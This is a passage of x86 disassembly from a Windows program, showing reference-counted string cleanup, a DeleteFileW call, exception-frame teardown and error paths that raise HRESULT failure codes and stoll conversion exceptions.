jne 0x40c62d
mov edx, dword [ebp - 0x44]
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40be5f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x38]
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40be76
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40be90
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x54]
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bea7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x60]
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bebe
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push dword [ebp - 0x50]
call fcn.00554863
add esp, 4
push dword [ebp - 0x74]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x40c1f2
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c643
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x30], eax
push 0x594824
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x72
call fcn.0042f380
test al, al
jne 0x40bf17
push 0
push 0x594824
lea ecx, [ebp - 0x30]
call fcn.0042f6b0
mov byte [ebp - 4], 0x73
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c64d
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x28], eax
push 0x594824
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x74
call fcn.0042f380
test al, al
jne 0x40bf5b
push 0
push 0x594824
lea ecx, [ebp - 0x28]
call fcn.0042f6b0
mov byte [ebp - 4], 0x75
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c657
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
push 0x594824
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x76
call fcn.0042f380
test al, al
jne 0x40bf9f
push 0
push 0x594824
lea ecx, [ebp - 0x24]
call fcn.0042f6b0
push ecx
mov byte [ebp - 4], 0x77
mov dword [ebp - 0x1c], esp
mov ecx, dword [ebp - 0xa0]
lea ecx, [ecx - 0x10]
call fcn.0042ea10
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x44]
call fcn.004455a0
add esp, 4
mov dword [ebp - 0x20], eax
push ecx
mov byte [ebp - 4], 0x78
mov dword [ebp - 0x1c], esp
mov ecx, dword [ebp - 0x5c]
add ecx, 0xfffffff0
call fcn.0042ea10
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x38]
call fcn.004455a0
add esp, 4
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x79
mov edx, dword [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x24]
push ecx
mov ecx, eax
call fcn.00459130
mov edx, dword [ebp - 0x38]
add esp, 0xc
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c026
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c040
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c05a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c074
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x30]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c1f2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x40c1f2
mov edx, dword [ebp - 0x88]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c20f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x8c]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c22c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x90]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c249
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x94]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c266
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x70]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c280
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x118]
cmp ecx, 8
jb 0x40c2c0
mov edx, dword [ebp - 0x12c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c2b6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c661
push ecx
push edx
call fcn.0054dc64
add esp, 8
mov ecx, dword [ebp - 0x130]
cmp ecx, 8
jb 0x40c300
mov edx, dword [ebp - 0x144]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c2f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c661
push ecx
push edx
call fcn.0054dc64
add esp, 8
mov ecx, dword [ebp - 0x148]
cmp ecx, 8
jb 0x40c340
mov edx, dword [ebp - 0x15c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c336
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c661
push ecx
push edx
call fcn.0054dc64
add esp, 8
mov edx, dword [ebp - 0xbc]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c35d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0xc0]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c37a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov eax, edi
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x40c391
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0xa8]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c3ae
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x74]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c3c8
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x178]
call fcn.0042ec80
lea ecx, [ebp - 0x190]
call fcn.0042ec80
mov edx, dword [ebp - 0xb8]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c3fb
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x78]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c415
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0xa0]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c432
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0xa4]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c44f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0xac]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c46c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x5c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], edi
dec edi
test edi, edi
jg 0x40c484
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push str.invalid_stoll_argument
call fcn.00537608
push str.stoll_argument_out_of_range
call fcn.00537648
call fcn.00552b3f
push 0x80004005
call fcn.0042f690
push 0x80070057
call fcn.0042f690
call fcn.0042f5c0
push str.invalid_stoll_argument
call fcn.00537608
push str.stoll_argument_out_of_range
call fcn.00537648
call fcn.00552b3f
push str.invalid_stoll_argument
call fcn.00537608
push str.stoll_argument_out_of_range
call fcn.00537648
call fcn.00552b3f
call fcn.004265b0
push 5
call fcn.0053777e
dec eax
push 6
mov dword [edi + 0x2c], eax
call fcn.0053777e
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
call fcn.00552cf5
push 6
mov dword [ebp - 0x98], 0
call fcn.0053777e
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
push 0x80004005
call fcn.0042f690
call fcn.00552b3f
int3